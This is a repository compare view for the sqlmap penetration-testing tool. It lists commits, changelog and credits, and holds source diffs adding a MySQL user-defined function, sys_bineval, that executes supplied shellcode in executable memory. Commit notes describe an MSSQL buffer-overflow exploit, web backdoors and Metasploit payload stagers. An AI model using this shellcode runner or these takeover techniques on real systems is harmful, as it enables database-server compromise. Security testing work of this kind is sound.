Compare commits

..

84 Commits

Author SHA1 Message Date
Bernardo Damele
ce022a3b6e sqlmap 0.8-rc3: Merge from Miroslav Stampar's branch fixing a bug when verbosity > 2, another major bug with urlencoding/urldecoding of POST data and Cookies, adding --drop-set-cookie option, implementing support to automatically decode gzip and deflate HTTP responses, support for Google dork page result (--gpage) and a minor code cleanup. 2010-01-02 02:02:12 +00:00
Bernardo Damele
d55175a340 Fixed resume functionality on --read-file when using MySQL's LOAD_FILE() via blind SQL injection. 2010-01-02 01:35:13 +00:00
Bernardo Damele
9c620da0a5 Minor fix 2009-12-31 12:34:18 +00:00
Bernardo Damele
c1c14dabd9 Minor bug fix 2009-12-21 11:21:18 +00:00
Bernardo Damele
e6c4154cac Fixed minor bug in --reg-del 2009-12-21 11:04:54 +00:00
Bernardo Damele
e4e081cdc6 sqlmap 0.8-rc2: minor enhancement based on msfencode 3.3.3-dev -t exe-small so that also PostgreSQL supports again the out-of-band via Metasploit payload stager optionally to shellcode execution in-memory via sys_bineval() UDF. Speed up OOB connect back. Cleanup target file system after --os-pwn too. Minor bug fix to correctly forge file system paths with os.path.join() all around. Minor code refactoring and user's manual update. 2009-12-17 22:04:01 +00:00
Bernardo Damele
a605980d66 Minor adjustments to configuration file 2009-12-15 14:16:25 +00:00
Bernardo Damele
b363f1c5ab Added support for NTLM authentication 2009-12-02 22:54:39 +00:00
Bernardo Damele
e28b98a366 Minor layout adjustments 2009-12-02 22:52:17 +00:00
Bernardo Damele
c332c72808 Minor update to user's manual to reflect new Metasploit release 2009-11-17 23:36:18 +00:00
Bernardo Damele
6e36a6f8ed Major enhancement to MSSQL MS09-004 exploit 2009-11-17 23:33:20 +00:00
Bernardo Damele
4779a5fe0f Minor layout adjustment 2009-11-16 16:39:31 +00:00
Bernardo Damele
1bf6a7cadc Adapted sqlmap to latest changes in Metasploit trunk 2009-11-03 16:49:19 +00:00
Bernardo Damele
aa14bea051 Test again 2009-11-01 12:30:30 +00:00
Bernardo Damele
e518ae82e4 Testing post-commit hook on redmine 2009-11-01 12:28:33 +00:00
Bernardo Damele
bfd8128693 Updated name 2009-11-01 12:10:29 +00:00
Bernardo Damele
de68a499f5 Typo fix 2009-11-01 12:08:46 +00:00
Bernardo Damele
bb123b2769 Updated changelog 2009-10-23 10:20:47 +00:00
Bernardo Damele
f1a7d095aa Minor patch to make the PHP web backdoor work also on Windows 2009-10-22 16:25:19 +00:00
Bernardo Damele
89c43893d4 Merged back from personal branch to trunk (svn merge -r846:940 ...)
Changes:
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
2009-09-25 23:03:45 +00:00
Bernardo Damele
458d59416c Minor bug fix in MSSQL version fingerprint 2009-08-11 09:16:20 +00:00
Bernardo Damele
14578a7a4d Updated THANKS file 2009-07-30 12:02:34 +00:00
Bernardo Damele
17289c5ff2 Minor bug fix 2009-07-30 12:01:23 +00:00
Bernardo Damele
e608a5ca55 Updated THANKS file 2009-07-29 10:44:56 +00:00
Bernardo Damele
19c6804ded Fixed two minor bugs with PostgreSQL reported by Sven Klemm, thanks! 2009-07-29 10:44:24 +00:00
Bernardo Damele
2c98c11e80 user's manual PDF recreated 2009-07-25 16:46:30 +00:00
Bernardo Damele
45e3ce798f Updated documentation with all new features introduced since sqlmap 0.7-rc1 2009-07-25 14:31:44 +00:00
Bernardo Damele
d905e5ef9f Minor bug fix to --os-cmd/--os-shell for Microsoft SQL Server 2009-07-25 11:45:23 +00:00
Bernardo Damele
576cc97742 Minor update to the user's manual, almost there to release 0.7 stable! 2009-07-25 00:25:59 +00:00
Bernardo Damele
b2b2ec8a26 Preparing to release sqlmap 0.7 stable 2009-07-24 23:20:57 +00:00
Bernardo Damele
3d4bfb3263 More appropriate warning message, got rid of a TODO 2009-07-24 23:20:22 +00:00
Bernardo Damele
b4fd71e8b9 Minor adjustment to reflect Metasploit r6849 (http://trac.metasploit.com/changeset/6849) and minor code refactoring. 2009-07-20 14:36:33 +00:00
Bernardo Damele
8096a37940 Major bug fix in --read-file option and minor code refactoring. 2009-07-09 11:50:15 +00:00
Bernardo Damele
cb3d2bac16 Minor improvement so that sqlmap tests also all parameters with no value (ig. par=). 2009-07-09 11:25:35 +00:00
Bernardo Damele
516fdb9356 Avoid to upload the web backdoor to unexisting empty-name directory 2009-07-09 11:11:25 +00:00
Bernardo Damele
24a3a23159 Minor bug fix to --dbms, updated user's manual 2009-07-09 11:05:24 +00:00
Bernardo Damele
4b622ed860 Minor bug fix.
Adapted Metasploit wrapping functions to work with latest msf3 development version too.
2009-07-06 14:40:33 +00:00
Bernardo Damele
0fc4587f02 Added support for reflective meterpreter by default when the target OS
is Windows and minor layout fix
2009-07-03 17:59:20 +00:00
Bernardo Damele
ba2e009fd9 Now it's fixed 2009-06-29 10:15:10 +00:00
Bernardo Damele
bc31bd1dd9 Minor bug fix 2009-06-29 10:13:39 +00:00
Bernardo Damele
fd7de4bbb8 Updated THANKS file 2009-06-24 13:57:50 +00:00
Bernardo Damele
3b9303186e Fixed minor bug with --eta 2009-06-24 13:44:14 +00:00
Bernardo Damele
e5a01d500e Minor bug fix in --update option, updated also Microsoft XML versions file 2009-06-16 15:12:02 +00:00
Bernardo Damele
32067cb676 Added ASPX shell and stager 2009-06-15 14:54:36 +00:00
Bernardo Damele
03a6739fbf Minor layout adjustments 2009-06-11 15:34:31 +00:00
Bernardo Damele
150abc0f1e sqlmap 0.7-rc3: Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or --os-bof is selected) when running under Windows because msfconsole and msfcli are not supported on the native Windows Ruby interpreter. Correctly handle fcntl to be imported only on systems different from Windows. Minor code refactoring. 2009-06-11 15:01:48 +00:00
Bernardo Damele
3bca0d4b28 Minor improvement so that user's options can also be passed directly as a dictionary/advancedDict rather than only as an optparse instance. 2009-06-05 10:15:55 +00:00
Bernardo Damele
5ac2b0658c Fixed regular expression to parse burp log file hosts' scheme/port 2009-06-04 14:42:53 +00:00
Bernardo Damele
cfd8a83655 Minor adjustment to get also the port when parsing burp logs 2009-06-04 14:36:31 +00:00
Bernardo Damele
966f34f381 Minor parsing syntax adjustment due to sligh differences between Burp 1.2 lite and professional editions 2009-06-03 15:26:18 +00:00
Bernardo Damele
c7b72abc0e Minor bug fix in parsing Burp (WebScarab too?) log to correctly parse httpS urls 2009-06-03 15:04:40 +00:00
Bernardo Damele
02f6425db8 Work-around to avoid a TypeError traceback when reading a file content on MySQL/MSSQL 2009-06-02 14:24:48 +00:00
Bernardo Damele
93ee4a01e5 HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and 2.6+ 2009-05-20 14:27:25 +00:00
Bernardo Damele
81d1a767ac Minor bug fix in output manager (dumper) object 2009-05-20 13:56:23 +00:00
Bernardo Damele
8e7282f7c7 Major bug fix to properly pass HTTPS request to HTTP proxy when its provided. It works with both Python 2.4 and Python 2.5 now. It still crashes at httplib level with Python 2.6. 2009-05-20 13:51:25 +00:00
Bernardo Damele
440a52b84d Major bug fix to sql-query/sql-shell functionalities 2009-05-20 10:19:19 +00:00
Bernardo Damele
37d3b3adda Updated THANKS 2009-05-20 09:58:22 +00:00
Bernardo Damele
13de8366d0 Major silent bug fix to multi-threading functionality. Thanks Nico Leidecker for reporting! 2009-05-20 09:34:13 +00:00
Bernardo Damele
f7ee4d578e Updated THANKS file 2009-05-19 15:56:30 +00:00
Bernardo Damele
ef3846e0de Minor fix in Host header value by Oliver Gruskovnjak 2009-05-19 14:40:04 +00:00
Bernardo Damele
45dff4a00a Added new function to search a file within the PATH environment variable paths:
it will be used when sqlmap will be packaged as DEB and RPM
2009-05-12 20:24:47 +00:00
Bernardo Damele
b463205544 Minor fixes for MacOSX 2009-05-12 20:24:00 +00:00
Bernardo Damele
06cc2a6d70 Minor bug fixes and code refactoring 2009-05-11 15:37:48 +00:00
Bernardo Damele
a727427299 Minor fix for Python <= 2.5.2 (os.path.normpath function) 2009-05-06 13:37:51 +00:00
Bernardo Damele
c5d20b8a86 Initial support for ASP web backdoor functionality 2009-05-06 12:14:38 +00:00
Bernardo Damele
f3e8d6db70 Fixed MySQL comment injection 2009-05-01 16:29:45 +00:00
Bernardo Damele
ccedadd780 Finished Mac OS X 2009-04-30 21:42:54 +00:00
Bernardo Damele
e8c115500d Now it works also on Mac OS X 2009-04-30 10:46:50 +00:00
Bernardo Damele
722ca8bf2f Minor "fix" 2009-04-29 19:45:12 +00:00
Bernardo Damele
57b8bb4c8e Minor syntax adjustment for web backdoor functionality 2009-04-28 21:51:22 +00:00
Bernardo Damele
58f3eee390 Updated Microsoft SQL Server XML signatures file and minor bug fix in connection library 2009-04-28 11:11:35 +00:00
Bernardo Damele
1d7de719b9 Almost done with web backdoor functionality 2009-04-28 11:05:07 +00:00
Bernardo Damele
16b4530bbe Minor bug fixes to --os-shell (altought web backdoor functionality still to be reviewed).
Minor common library code refactoring.
Code cleanup.
Set back the default User-Agent to sqlmap for comparison algorithm reasons.
Updated THANKS.
2009-04-27 23:05:11 +00:00
Bernardo Damele
5121a4dcba Send IE7.0 as default User-Agent 2009-04-24 20:13:21 +00:00
Bernardo Damele
406d5df195 Minor layout adjustments 2009-04-24 20:12:52 +00:00
Bernardo Damele
546a6c32e3 Avoid deprecation warning on sha and md5 libraries on Python >= 2.6 2009-04-24 20:10:30 +00:00
Bernardo Damele
6f4035938b Let the user choose also the local address in reverse OOB connection 2009-04-24 10:27:52 +00:00
Bernardo Damele
06e8546177 Finally fixed MSSQL 2000 fingerprint 2009-04-24 10:26:01 +00:00
Bernardo Damele
eeb34eb028 Again, minor fix to MSSQL 2000 fingerprint 2009-04-23 21:13:34 +00:00
Bernardo Damele
4ce74764b7 More verbose when reporting failure to create shellcode/payload stager (via Metasploit) 2009-04-23 20:39:32 +00:00
Bernardo Damele
aec2419410 Fixed character escaping in SQL shell/query functionalities. 2009-04-23 15:37:12 +00:00
Bernardo Damele
1af6898618 Fixed POST parsing when -l option is provided (burp/webscarab log file) 2009-04-23 15:04:28 +00:00
Bernardo Damele
69259c5984 Updated THANKS 2009-04-23 08:42:57 +00:00
Bernardo Damele
8e88b32274 Minor fix in MSSQL 2000 fingerprint 2009-04-23 08:36:39 +00:00
104 changed files with 9927 additions and 6428 deletions

View File

@@ -1,3 +1,3 @@
Bernardo Damele A. G. (inquis) - Lead developer
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
<bernardo.damele@gmail.com>
PGP Key ID: 0x05F5A30F

View File

@@ -1,3 +1,50 @@
sqlmap (0.8rc1-1) stable; urgency=low
* Major enhancement to the Microsoft SQL Server stored procedure
heap-based buffer overflow exploit (--os-bof) to automatically bypass
DEP memory protection.
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
option instead of uploading the standalone payload stager executable.
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
read/add/delete Windows registry keys.
* Added options for MySQL and PostgreSQL to inject custom user-defined
functions.
* Added support for --first and --last so the user now has even more
granularity in what to enumerate in the query output.
* Minor enhancement to save the session by default in
'output/hostname/session' file if -s option is not specified.
* Minor improvement to automatically remove sqlmap created temporary
files from the DBMS underlying file system.
* Minor bugs fixed.
* Major code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
sqlmap (0.7-1) stable; urgency=low
* Adapted Metasploit wrapping functions to work with latest 3.3
development version too.
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
--os-bof is selected) when running under Windows because msfconsole
and msfcli are not supported on the native Windows Ruby interpreter.
This make sqlmap 0.7 to work again on Windows too.
* Minor improvement so that sqlmap tests also all parameters with no
value (eg. par=).
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
2.6+.
* Major bug fix to sql-query/sql-shell features.
* Major bug fix in --read-file option.
* Major silent bug fix to multi-threading functionality.
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
queries are not supported and --os-shell is provided.
* Fixed MySQL 'comment injection' version fingerprint.
* Fixed basic Microsoft SQL Server 2000 fingerprint.
* Many minor bug fixes and code refactoring.
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
sqlmap (0.7rc1-1) stable; urgency=low
* Added support to execute arbitrary commands on the database server

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@@ -5,6 +5,9 @@ Chip Andrews <chip@sqlsecurity.com>
at SQLSecurity.com and permission to implement the update feature
taking data from his site
Simon Baker <simonb@sec-1.com>
for reporting some bugs
Daniele Bellucci <daniele.bellucci@gmail.com>
for starting sqlmap project and developing it between July and August
2006
@@ -12,20 +15,32 @@ Daniele Bellucci <daniele.bellucci@gmail.com>
Jack Butler <fattredd@hotmail.com>
for providing me with the sqlmap site favicon
Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com>
for reporting a minor bug
Cesar Cerrudo <cesar@argeniss.com>
for his Windows access token kidnapping tool Churrasco included in
sqlmap tree as a contrib library and used to run the stand-alone
payload stager on the target Windows machine as SYSTEM user if the
user wants to perform a privilege escalation attack,
http://www.argeniss.com/research/Churrasco.zip
http://www.argeniss.com/research/TokenKidnapping.pdf
Karl Chen <quarl@cs.berkeley.edu>
for providing with the multithreading patch for the inference
algorithm
Pierre Chifflier <pollux@debian.org>
for uploading the sqlmap 0.6.2 Debian package to the official Debian
project repository
Y P Chien <ypchien@cox.net>
for reporting a minor bug
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
for uploading and accepting the sqlmap Debian package to the official
Debian project repository
Ulises U. Cune <ulises2k@gmail.com>
for reporting a bug
Alessandro Curio <alessandro.curio@gmail.com>
for reporting a minor bug
Stefano Di Paola <stefano.dipaola@wisec.it>
for suggesting good features
@@ -38,6 +53,11 @@ Dan Guido <dguido@gmail.com>
Adam Faheem <faheem.adam@is.co.za>
for reporting a few bugs
James Fisher <www@sittinglittleduck.com>
for providing me with two very good feature requests
for his great tool too brute force directories and files names on
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
Jim Forster <jimforster@goldenwest.com>
for reporting a bug
@@ -57,6 +77,10 @@ Ivan Giacomelli <truemilk@insiberia.net>
for suggesting a minor enhancement
for reviewing the documentation
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
for reporting a bug
for providing me with a minor patch
Davide Guerri <d.guerri@caspur.it>
for suggesting an enhancement
@@ -71,26 +95,48 @@ Will Holcomb <wholcomb@gmail.com>
for his MultipartPostHandler class to handle multipart POST forms and
permission to include it within sqlmap source code
Daniel Hückmann <sanitybit@gmail.com>
for reporting a minor bug
Mounir Idrassi <mounir.idrassi@idrix.net>
for his compiled version of UPX for Mac OS X
Dirk Jagdmann <doj@cubic.org>
for reporting a typo in the documentation
Luke Jahnke <luke.jahnke@gmail.com>
for reporting a bug when running against MySQL < 5.0
Sven Klemm <sven@c3d2.de>
for reporting two minor bugs with PostgreSQL
Anant Kochhar <anant.kochhar@secureyes.net>
for providing me with feedback on the user's manual
Alexander Kornbrust <ak@red-database-security.com>
for reporting a couple of bugs
Nicolas Krassas <krasn@ans.gr>
for reporting a bug
Guido Landi <lists@keamera.org>
for reporting a couple of bugs
for the great technical discussions
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
(MS09-004) exploit development
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
on September 21, 2009
Lee Lawson <Lee.Lawson@dns.co.uk>
for reporting a minor bug
Nico Leidecker <nico@leidecker.info>
for providing me with feedback on a few features
for reporting a couple of bugs
Gabriel Lima <pato@bugnet.com.br>
for reporting a bug
for reporting a couple of bugs
Pavol Luptak <pavol.luptak@nethemba.com>
for reporting a bug when injecting on a POST data parameter
@@ -119,9 +165,16 @@ John F. Reiser <sales@bitwagon.com>
Metasploit Framework 3 payload stager portable executable,
http://upx.sourceforge.net
Simone Onofri <simone.onofri@gmail.com>
for patching the PHP web backdoor to make it work properly also on
Windows
Antonio Parata <s4tan@ictsc.it>
for providing me with some ideas for the PHP backdoor
Adrian Pastor <ap@gnucitizen.org>
for donating to sqlmap development
Chris Patten <cpatten@sunera.com>
for reporting a bug in the blind SQL injection bisection algorithm
@@ -213,6 +266,12 @@ fufuh <fufuh@users.sourceforge.net>
mariano <marianoso@gmail.com>
for reporting a bug
pacman730 <pacman730@users.sourceforge.net>
for reporting a bug
Stuffe <stuffe.dk@gmail.com>
for reporting a minor bug and a feature request
Sylphid <sylphid.su@sti.com.tw>
for suggesting some features

View File

@@ -1,28 +1,26 @@
#!/usr/bin/env python
"""
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
dbgtool.py - Portable executable to ASCII debug script converter
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
"""
import os
import sys
import struct
@@ -30,7 +28,6 @@ import struct
from optparse import OptionError
from optparse import OptionParser
def convert(inputFile):
fileStat = os.stat(inputFile)
fileSize = fileStat.st_size
@@ -73,8 +70,7 @@ def convert(inputFile):
script += "w\r\nq\r\n"
return script
def main(inputFile, outputFile):
if not os.path.isfile(inputFile):
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
@@ -89,8 +85,7 @@ def main(inputFile, outputFile):
sys.stdout.close()
else:
print script
if __name__ == '__main__':
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
parser = OptionParser(usage=usage, version='0.1')

View File

@@ -46,7 +46,8 @@ UPDATE udftest SET data=CONCAT(data,0x000000000000000004000000000000006500000001
--
-- Note that /TODO/plugin DOES NOT
-- exist by default so it is NOT possible to save the SO in the proper
-- folder where MySQL server looks for SOs.
-- folder where MySQL server looks for SOs.
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
--
-- References:
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html

View File

@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
install:
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
strip -sx so/lib_mysqludf_sys.so
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so

View File

@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';

View File

@@ -23,6 +23,9 @@
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#ifdef STANDARD
@@ -191,6 +194,33 @@ char* sys_eval(
, char *error
);
/**
* sys_bineval
*
* executes bynary opcodes.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
);
DLLEXP
void sys_bineval_deinit(
UDF_INIT *initid
);
DLLEXP
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
);
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef __cplusplus
}
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
@@ -250,10 +282,12 @@ my_bool sys_get_init(
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
@@ -305,6 +339,7 @@ my_bool sys_set_init(
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
@@ -312,6 +347,7 @@ void sys_set_deinit(
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
@@ -422,5 +462,90 @@ char* sys_eval(
return result;
}
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
){
return 0;
}
#endif /* HAVE_DLOPEN */
void sys_bineval_deinit(
UDF_INIT *initid
){
}
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
){
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = strlen(args->args[0]);
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, args->args[0], len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
return 1;
strncpy((char *)addr, args->args[0], len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
return 0;
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif
#endif /* HAVE_DLOPEN */

View File

@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
DROP FUNCTION IF EXISTS sys_set;
DROP FUNCTION IF EXISTS sys_exec;
DROP FUNCTION IF EXISTS sys_eval;
DROP FUNCTION IF EXISTS sys_bineval;
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';

View File

@@ -23,6 +23,9 @@
#define DLLEXP __declspec(dllexport)
#else
#define DLLEXP
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#ifdef STANDARD
@@ -191,6 +194,33 @@ char* sys_eval(
, char *error
);
/**
* sys_bineval
*
* executes bynary opcodes.
* Beware that this can be a security hazard.
*/
DLLEXP
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
);
DLLEXP
void sys_bineval_deinit(
UDF_INIT *initid
);
DLLEXP
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
);
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef __cplusplus
}
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
}
return status;
}
void lib_mysqludf_sys_info_deinit(
UDF_INIT *initid
){
}
char* lib_mysqludf_sys_info(
UDF_INIT *initid
, UDF_ARGS *args
@@ -250,10 +282,12 @@ my_bool sys_get_init(
return 1;
}
}
void sys_get_deinit(
UDF_INIT *initid
){
}
char* sys_get(
UDF_INIT *initid
, UDF_ARGS *args
@@ -305,6 +339,7 @@ my_bool sys_set_init(
}
return 0;
}
void sys_set_deinit(
UDF_INIT *initid
){
@@ -312,6 +347,7 @@ void sys_set_deinit(
free(initid->ptr);
}
}
long long sys_set(
UDF_INIT *initid
, UDF_ARGS *args
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
return 1;
}
}
void sys_exec_deinit(
UDF_INIT *initid
){
}
my_ulonglong sys_exec(
UDF_INIT *initid
, UDF_ARGS *args
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
return 1;
}
}
void sys_eval_deinit(
UDF_INIT *initid
){
}
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
@@ -422,5 +462,90 @@ char* sys_eval(
return result;
}
my_bool sys_bineval_init(
UDF_INIT *initid
, UDF_ARGS *args
){
return 0;
}
#endif /* HAVE_DLOPEN */
void sys_bineval_deinit(
UDF_INIT *initid
){
}
int sys_bineval(
UDF_INIT *initid
, UDF_ARGS *args
){
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = strlen(args->args[0]);
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, args->args[0], len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
return 1;
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
return 1;
strncpy((char *)addr, args->args[0], len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
return 0;
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif
#endif /* HAVE_DLOPEN */

View File

@@ -19,6 +19,8 @@
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
#PORT="5433"
#VERSION="8.2"
PORT="5432"
VERSION="8.3"
USER="postgres"

View File

@@ -21,3 +21,4 @@
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
